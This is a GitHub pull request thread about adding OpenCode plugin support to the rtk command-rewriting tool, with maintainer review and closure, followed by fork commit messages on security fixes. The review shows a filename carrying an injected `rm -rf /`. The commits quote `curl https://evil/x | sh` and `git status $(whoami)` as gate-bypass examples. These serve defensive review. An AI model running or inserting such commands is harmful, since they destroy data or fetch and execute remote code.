Skip to content

Feature/opencode integration - #225

Closed
AlecMcQuarrie wants to merge 3 commits into
rtk-ai:masterfrom
AlecMcQuarrie:master
Closed

AlecMcQuarrie wants to merge 3 commits into
rtk-ai:masterfrom
AlecMcQuarrie:master

Conversation

@AlecMcQuarrie

Copy link
Copy Markdown

Add support for opencode's plugin layout.

AlecMcQuarrie and others added 3 commits February 19, 2026 17:37
Add RTK support for OpenCode alongside existing Claude Code integration.
OpenCode users can now install RTK via its native plugin system for
transparent command rewriting and token optimization.

New files:
- hooks/opencode-rtk-plugin.ts: TypeScript plugin that ports the bash
  rewrite logic to OpenCode's tool.execute.before hook
- hooks/opencode-rtk-awareness.md: Slim awareness doc for OpenCode
- hooks/opencode-rtk-rules.md: Rules file for OpenCode's rules system

CLI changes:
- rtk init --opencode [-g]: Install plugin + rules for OpenCode
- rtk init --opencode --show: Show OpenCode RTK configuration
- rtk init --opencode --uninstall [-g]: Remove OpenCode RTK artifacts
- rtk discover --opencode: Scan OpenCode sessions for missed savings

Implementation:
- OpenCode plugin uses tool.execute.before event to intercept and
  rewrite bash commands (same patterns as rtk-rewrite.sh)
- OpenCodeProvider in discover module supports session scanning
- All 418 tests pass, no new clippy errors
@pszymkowiak

Copy link
Copy Markdown
Collaborator

Great work on this, thanks for the effort! The Rust code is clean, 418 tests pass, and all existing commands work fine.

We have one architectural concern we'd like to discuss before merging.

The TypeScript plugin reimplements rewrite logic that should live in Rust.

hooks/opencode-rtk-plugin.ts is 309 lines of regex-based command rewriting — the same logic that exists in hooks/rtk-rewrite.sh (bash) and will soon be native Rust via PR #150 (rtk
hook-rewrite). This means rewrite logic maintained in 3 places, and the TS version already diverges (it rewrites cat, grep, find, diff which the bash hook intentionally skips because the
argument interfaces are incompatible).

Proposed architecture: rtk hook-rewrite as universal entry point

Once PR #150 merges, every integration should call the same Rust binary:

Claude Code → hook (JSON) → rtk hook-rewrite
OpenCode → plugin (TS) → rtk hook-rewrite
Gemini CLI → hook (bash) → rtk hook-rewrite
Codex → hook (TBD) → rtk hook-rewrite

OpenCode's tool.execute.before hook https://opencode.ai/docs/plugins/, so the plugin could be ~10 lines:
hooks: {
"tool.execute.before": async (input) => {
const result = await $rtk hook-rewrite ${input.command};
return { ...input, command: result.text() };
}
}

Single source of truth in Rust, zero divergence, trivial to add new providers.

Other notes:

  • rtk discover --opencode silently returns zero results for all users — OpenCode uses SQLite but the provider only reads JSONL
  • The rtk init --opencode installer and README docs are good and can be reused as-is

Suggestion: Wait for PR #150 to merge, then resubmit with a minimal plugin calling rtk hook-rewrite. We're open to discussing the approach — happy to help shape this!

@pszymkowiak

Copy link
Copy Markdown
Collaborator

Thanks for this PR — the TypeScript plugin is well-structured and the parity with rtk-rewrite.sh is solid. However there are blocking issues to fix:

P0 — rtk discover --opencode returns 0 results on real installations
OpenCode doesn't store sessions as JSONL. The actual storage is ~/.local/share/opencode/storage/ with binary/structured subdirectories (message/, session/, etc.). The current code silently scans 0 sessions on a real install. Either implement a working parser for OpenCode's actual format, or return an explicit error explaining the limitation.

P1-A — XDG path traversal risk
XDG_CONFIG_HOME/XDG_DATA_HOME are used for file writes without checking they're absolute paths. The XDG spec requires this check. Add: if !p.is_absolute() { fall back to ~/.config }.

P1-B — Non-atomic plugin write
The plugin file uses fs::write() directly. If interrupted, OpenCode loads a corrupt plugin. Use atomic_write() (already exists in init.rs).

P1-C — head rewrite: filename passes unescaped
head -10 "file.txt; rm -rf /"rtk read file.txt; rm -rf / --max-lines 10. The filename captured by the regex goes directly into the rewritten command.

@FlorianBruniaux

Copy link
Copy Markdown
Contributor

Hi @zeval, @tom-thompson, @AlecMcQuarrie, @itai-delphos! We have four OpenCode integration PRs open (#225, #262, #300, #303) — they overlap significantly. We're leaning toward the lighter plugin approach (#303 or #300) for a first merge, then building on top. @AlecMcQuarrie (#225), @itai-delphos (#262) — could you rebase first (CI is failing on both), and let's discuss in a comment which features go beyond what #300/#303 offer? We'd like to avoid landing four competing implementations.

@CLAassistant

Copy link
Copy Markdown

CLA assistant check
Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.
You have signed the CLA already but the status is still pending? Let us recheck it.

@pszymkowiak

Copy link
Copy Markdown
Collaborator

Hi! Two things needed before we can review:

  1. Retarget to develop — this PR targets master, but all PRs should target develop. You can change the base branch in the PR settings (right sidebar).
  2. Sign the CLA — if not already done, please sign at https://cla-assistant.io/rtk-ai/rtk

Thanks!

@aeppling

Copy link
Copy Markdown
Contributor

Hey

We are cleaning up the codebase and improving the project structure for better onboarding. As part of this effort, PR #826 reorganizes src/ from a flat layout into subfolders.

No logic changes — only file moves and import path updates.

What you need to do

Rebase your branch on develop when receiving this comment:

git fetch origin && git rebase origin/develop

Git detects renames automatically. If you get import conflicts, update the paths:

use crate::git;        // now: use crate::cmds::git::git;
use crate::tracking;   // now: use crate::core::tracking;
use crate::config;     // now: use crate::core::config;
use crate::init;       // now: use crate::hooks::init;
use crate::gain;       // now: use crate::analytics::gain;

Need help rebasing? Tag @aeppling

@ThomasCarca

Copy link
Copy Markdown

Hello, is this still relevant ? The doc seems to indicate opencode is part of the supported agents.

Some clear communication on this on the related threads could benefit anyone waiting for an opencode integration.

@pszymkowiak

Copy link
Copy Markdown
Collaborator

Hi @AlecMcQuarrie — closing this one. OpenCode plugin support was
merged into rtk via #300 (by @zeval) on 2026-03-11, then refined in
later releases. The plugin currently lives in
src/discover/provider.rs and the hook installer at
src/hooks/init.rs.

As @FlorianBruniaux noted in his 2026-03-05 comment, four overlapping
OpenCode PRs were open at the time (#225, #262, #300, #303); the
lighter plugin approach was preferred for the first integration. The
heavier Rust-side changes from your branch are no longer applicable
to the current layout (src/ was reorganized in #826 and would need
a full rewrite anyway).

Thanks for the original work — your PR helped pressure-test the
plugin API design. If you find a real-world gap in the current
OpenCode integration (a session-discovery edge case, a rewrite path
that doesn't fire, etc.), please open a fresh issue with a repro and
we'll fix it directly.

Closing as superseded by #300.

thehoff added a commit to thehoff/contextcrawler that referenced this pull request Jul 14, 2026
…ai#225)

The VS Code, Copilot-CLI and Gemini hook handlers never ran the Tirith or
supply-chain gates and silently returned Ok(()) on a permission Deny or on
an Ask-verdict command with no rewrite — so an allowlisted
`curl https://evil/x | sh` bypassed both gates, and `git status $(whoami)`
fell through to a broad host allow. Council-confirmed (verified: no gate
call in the handlers).

Fix: a shared `handler_action(cmd)` mirrors the Claude live path — permission
check + defence-in-depth gates on the RAW command, forcing Ask over an
auto-allow and emitting Ask even without a rewrite (rtk-ai#2286). Each handler
formats the decision in its own protocol:
- VS Code: allow / ask / deny with the rewritten-or-original command.
- Copilot CLI (no ask mode): deny+reason for both blocks and review.
- Gemini (no ask mode): a gate/verdict Ask fails CLOSED to deny.
Write results are now propagated (no more discarded io::Result).

Tests (hermetic via the rtk-ai#209 TrustEnvGuard): unattestable non-rewritable
→ Ask; benign non-rewritable → Passthrough; known command → rewrite.

Refs: rtk-ai#225

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01K3SAimSBwPUp4MkRXaYXSU
thehoff added a commit to thehoff/contextcrawler that referenced this pull request Jul 14, 2026
…#225)

Council MEDIUM (codex): the Gemini deny emitter discarded the writeln!
result, so a denial that failed to reach the host could still exit 0 and
read as auto-allow. Now a write failure forces a non-zero exit (fail
closed). codex confirmed the decision flow is otherwise correct with no
bypass; this closes its sole finding.

Refs: rtk-ai#225

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01K3SAimSBwPUp4MkRXaYXSU
thehoff added a commit to thehoff/contextcrawler that referenced this pull request Jul 14, 2026
Large security release completing the codex-5.6-max sweep + 5-voice
council audit (rtk-ai#210-rtk-ai#233): rtk-ai#219/rtk-ai#220 (hook-tamper validation rebuild +
trust store), rtk-ai#225 (non-Claude handler gating), rtk-ai#212-rtk-ai#218/rtk-ai#230
(permission gate + lexer), rtk-ai#211 (Tirith deadlock), rtk-ai#222 (config
injection), rtk-ai#226/rtk-ai#232/rtk-ai#233 (filter engine). The two big clusters were
authored by the Codex worker in isolated worktrees, driver-verified and
non-author-council-reviewed. See CHANGELOG.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01K3SAimSBwPUp4MkRXaYXSU
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

6 participants